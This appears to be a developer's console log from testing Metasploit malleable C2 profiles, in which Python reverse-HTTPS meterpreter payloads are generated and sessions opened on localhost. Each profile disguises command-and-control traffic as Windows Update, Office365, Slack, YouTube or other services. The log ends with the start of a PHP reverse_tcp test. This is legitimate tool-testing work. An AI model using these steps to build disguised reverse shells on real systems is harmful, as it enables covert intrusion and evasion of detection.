resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> generate -f raw -o /tmp/msf.py
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Writing 30412 bytes to /tmp/msf.py...
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Payload Handler Started as Job 0
msf payload(python/meterpreter_reverse_https) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTPS reverse handler on https://127.0.0.1:4242
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 1tc27bqp) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 1tc27bqp) Redirecting stageless: URI '/c/msdownload/update/others/2016/12/29136388_/T0xiRjVMVWxwWUdZTTQwbjhod3VWUTNRbDYyVnE.cab' with UA 'Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.40' -> UUID OLbF5LUlpYGYM40n8hwusw890RASX
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 1tc27bqp) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 1tc27bqp) Attaching orphaned/stageless session...
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 1tc27bqp) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:44730) at 2026-06-15 10:23:29 +0200

msf payload(python/meterpreter_reverse_https) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
gComputer        : cachyos-x8664
OS              : Linux 7.0.11-1-cachyos #1 SMP PREEMPT_DYNAMIC Wed, 03 Jun 2026 22:05:15 +0000
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: ms
mscrl.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> use payload/python/meterpreter_reverse_https
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/mscrl.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/mscrl.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> generate -f raw -o /tmp/msf.py
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Writing 30668 bytes to /tmp/msf.py...
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Payload Handler Started as Job 0
msf payload(python/meterpreter_reverse_https) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTPS reverse handler on https://127.0.0.1:4242
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: x2iuvyrt) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: x2iuvyrt) Redirecting stageless: URI '/pki/mscorp/cps/default.htm' with UA 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36' -> UUID Ze2q-ItZPhiyJ6cz2AgE6QnDeyYNOrAhsI--44
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: x2iuvyrt) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: x2iuvyrt) Attaching orphaned/stageless session...
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: x2iuvyrt) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used

msf payload(python/meterpreter_reverse_https) > s[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:37008) at 2026-06-15 10:24:48 +0200

msf payload(python/meterpreter_reverse_https) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux 7.0.11-1-cachyos #1 SMP PREEMPT_DYNAMIC Wed, 03 Jun 2026 22:05:15 +0000
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: ms
msnbcvideo_getonly.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> use payload/python/meterpreter_reverse_https
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/msnbcvideo_getonly.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/msnbcvideo_getonly.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> generate -f raw -o /tmp/msf.py
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Writing 30800 bytes to /tmp/msf.py...
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Payload Handler Started as Job 0
msf payload(python/meterpreter_reverse_https) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTPS reverse handler on https://127.0.0.1:4242
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: ah0ikp1c) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: ah0ikp1c) Redirecting stageless: URI '/z/msnbc2_live01@9615/manifest.f4m' with UA 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko' -> UUID 6lzFg3W8dXgm9jPiTNmR5AQsFr0JLT4zVafp8lrZZUZyFv2c
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: ah0ikp1c) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: ah0ikp1c) Attaching orphaned/stageless session...
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: ah0ikp1c) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:35468) at 2026-06-15 10:25:56 +0200

msf payload(python/meterpreter_reverse_https) > sessions -1`
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux 7.0.11-1-cachyos #1 SMP PREEMPT_DYNAMIC Wed, 03 Jun 2026 22:05:15 +0000
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: ms
office365_calendar.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> use payload/python/meterpreter_reverse_https
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/office365_calendar.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/office365_calendar.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> generate -f raw -o /tmp/msf.py
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Writing 30656 bytes to /tmp/msf.py...
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Payload Handler Started as Job 0
msf payload(python/meterpreter_reverse_https) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTPS reverse handler on https://127.0.0.1:4242

msf payload(python/meterpreter_reverse_https) > 
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 2xmtlzoy) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 2xmtlzoy) Redirecting stageless: URI '/owa/' with UA 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)' -> UUID vYTH0wZGyapDu1avKZT02wiHmEKOFaTsOvkhEpSidcdZ2-lEYFppPJXg0N-RDFn21g2TVKphgR4f4sumjewyPfHPyXGwBOwolrf
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 2xmtlzoy) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 2xmtlzoy) Attaching orphaned/stageless session...
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 2xmtlzoy) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:37384) at 2026-06-15 10:27:14 +0200

msf payload(python/meterpreter_reverse_https) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux 7.0.11-1-cachyos #1 SMP PREEMPT_DYNAMIC Wed, 03 Jun 2026 22:05:15 +0000
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: ms
oscp.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> use payload/python/meterpreter_reverse_https
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/oscp.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/oscp.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> generate -f raw -o /tmp/msf.py
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Writing 30180 bytes to /tmp/msf.py...
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Payload Handler Started as Job 0

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
msf payload(python/meterpreter_reverse_https) > [*] Started HTTPS reverse handler on https://127.0.0.1:4242
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: cn7i8m9e) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: cn7i8m9e) Redirecting stageless: URI '/oscp/rz1Jc0GBIkfyGOcMmDdFlQ9bl7-8H' with UA 'Microsoft-CryptoAPI/6.1' -> UUID rz1Jc0GBIkfyGOcMmDdFhATYcDJTgMNGNL78kDwkvIbwZ0iNb2ntVhLWCYsXWyIEBGC_dEDeERHYpOqXGiCENhAX2D7efdfiFak7
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: cn7i8m9e) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: cn7i8m9e) Attaching orphaned/stageless session...
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: cn7i8m9e) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:38140) at 2026-06-15 10:28:14 +0200

msf payload(python/meterpreter_reverse_https) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux 7.0.11-1-cachyos #1 SMP PREEMPT_DYNAMIC Wed, 03 Jun 2026 22:05:15 +0000
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: ms
reddit.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> use payload/python/meterpreter_reverse_https
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/reddit.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/reddit.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> generate -f raw -o /tmp/msf.py
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Writing 30792 bytes to /tmp/msf.py...
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Payload Handler Started as Job 0
msf payload(python/meterpreter_reverse_https) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTPS reverse handler on https://127.0.0.1:4242
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: l5y98u7v) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: l5y98u7v) Redirecting stageless: URI '/r/webdev/comments/95ltyr' with UA 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36' -> UUID fUsk7ND0B3pn53LzDcjf3gPgYSh-YfOMp9eMvXjiQeYKLbDbuhI14CcvLPwVVZqkHt2i3mP_Yjkh8a9F3bLZ0lG7YSgFHgUPWDycoexSCGGDi67tRy58Ob7eU
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: l5y98u7v) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: l5y98u7v) Attaching orphaned/stageless session...
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: l5y98u7v) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:59046) at 2026-06-15 10:30:50 +0200G

msf payload(python/meterpreter_reverse_https) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux 7.0.11-1-cachyos #1 SMP PREEMPT_DYNAMIC Wed, 03 Jun 2026 22:05:15 +0000
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: ms
rtmp.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> use payload/python/meterpreter_reverse_https
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/rtmp.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/rtmp.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> generate -f raw -o /tmp/msf.py
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Writing 30404 bytes to /tmp/msf.py...
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Payload Handler Started as Job 0
msf payload(python/meterpreter_reverse_https) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTPS reverse handler on https://127.0.0.1:4242
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: ek812p7s) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: ek812p7s) Redirecting stageless: URI '/idle/1376547834/1' with UA 'Shockwave Flash' -> UUID eiqgIpe2QwGz-6bv2dQKSALdKT3SYUB4kLtWt_qetpfV7TnDobh5pAr_0AUEHilEZ76B1J
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: ek812p7s) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: ek812p7s) Attaching orphaned/stageless session...
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: ek812p7s) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:51106) at 2026-06-15 10:37:09 +0200

msf payload(python/meterpreter_reverse_https) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux 7.0.11-1-cachyos #1 SMP PREEMPT_DYNAMIC Wed, 03 Jun 2026 22:05:15 +0000
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: ms
slack.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> use payload/python/meterpreter_reverse_https
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/slack.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/slack.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> generate -f raw -o /tmp/msf.py
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Writing 30656 bytes to /tmp/msf.py...
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Payload Handler Started as Job 0
msf payload(python/meterpreter_reverse_https) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTPS reverse handler on https://127.0.0.1:4242
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: d8165p2o) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: d8165p2o) Redirecting stageless: URI '/messages/C0527B0NM' with UA 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)' -> UUID q-mvQ9FzEio8MikmVh2Gfwl-05aIbsVBlOjaXj7uenTL4uMS0QHzcJPKsMtcfrF4HzbL7JNmwHbFvnmQ0cpgTzfGIsjs7H4XJ4mJbJmty_SSOraRqHfV
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: d8165p2o) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: d8165p2o) Attaching orphaned/stageless session...
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: d8165p2o) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:45922) at 2026-06-15 10:39:42 +0200

msf payload(python/meterpreter_reverse_https) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux 7.0.11-1-cachyos #1 SMP PREEMPT_DYNAMIC Wed, 03 Jun 2026 22:05:15 +0000
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: ms
stackoverflow.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> use payload/python/meterpreter_reverse_https
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/stackoverflow.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/stackoverflow.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> generate -f raw -o /tmp/msf.py
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Writing 30736 bytes to /tmp/msf.py...
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Payload Handler Started as Job 0

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
msf payload(python/meterpreter_reverse_https) > [*] Started HTTPS reverse handler on https://127.0.0.1:4242
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: n5jz1yl8) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: n5jz1yl8) Redirecting stageless: URI '/questions/32251816/c-sharp-directives-compilation-error' with UA 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36' -> UUID tp86lwRr1AdsDHkYBiPWqQlAdlOc_jNv
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: n5jz1yl8) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: n5jz1yl8) Attaching orphaned/stageless session...
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: n5jz1yl8) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:46818) at 2026-06-15 10:41:10 +0200

msf payload(python/meterpreter_reverse_https) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux 7.0.11-1-cachyos #1 SMP PREEMPT_DYNAMIC Wed, 03 Jun 2026 22:05:15 +0000
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: ms
trevor.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> use payload/python/meterpreter_reverse_https
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/trevor.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/trevor.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> generate -f raw -o /tmp/msf.py
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Writing 30648 bytes to /tmp/msf.py...
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Payload Handler Started as Job 0
msf payload(python/meterpreter_reverse_https) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTPS reverse handler on https://127.0.0.1:4242
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: mfpst8vn) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: mfpst8vn) Redirecting stageless: URI '/us/ky/louisville/312-s-fourth-st.html' with UA 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)' -> UUID 2ySWlXtTW9ysGLkMxjcW6wUqfUKpRrP4oAIcNLd7x8JwbuuCNPPn
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: mfpst8vn) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: mfpst8vn) Attaching orphaned/stageless session...
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: mfpst8vn) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:51776) at 2026-06-15 10:42:29 +0200

msf payload(python/meterpreter_reverse_https) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux 7.0.11-1-cachyos #1 SMP PREEMPT_DYNAMIC Wed, 03 Jun 2026 22:05:15 +0000
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: ms
youtube_video.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> use payload/python/meterpreter_reverse_https
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/youtube_video.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/youtube_video.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> generate -f raw -o /tmp/msf.py
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Writing 30608 bytes to /tmp/msf.py...
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Payload Handler Started as Job 0
msf payload(python/meterpreter_reverse_https) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTPS reverse handler on https://127.0.0.1:4242
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 01wvh2j7) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 01wvh2j7) Redirecting stageless: URI '/watch' with UA 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)' -> UUID CCF0XMvnhVdtZ3hzB0jWUw2RjBrOHmOQAvHS2e6LTkYs4qpyTSj6n8o1r6-KkqTCeHS5vERjeWBCLNpBYSQUdeBWf6h3oozjAG2bLB1Y3X5OmqfsDch
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 01wvh2j7) Without a database connected that payload UUID tracking will not work!
[*] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 01wvh2j7) Attaching orphaned/stageless session...
[!] https://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 01wvh2j7) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:49532) at 2026-06-15 10:43:34 +0200

msf payload(python/meterpreter_reverse_https) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
geComputer        : cachyos-x8664
OS              : Linux 7.0.11-1-cachyos #1 SMP PREEMPT_DYNAMIC Wed, 03 Jun 2026 22:05:15 +0000
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: ms
zoom.profile

broken

@msutovsky-r7

Copy link
Copy Markdown
Contributor

PHP Testing

TCP

Staged

msf > use payload/php/meterpreter/reverse_tcp
msf payload(php/meterpreter/reverse_tcp) > set lhost 127.0.0.1
lhost => 127.0.0.1
msf payload(php/meterpreter/reverse_tcp) > set lport 4242
lport => 4242
msf payload(php/meterpreter/reverse_tcp) > generate -f raw -o /tmp/msf.php
[*] Writing 1110 bytes to /tmp/msf.php...
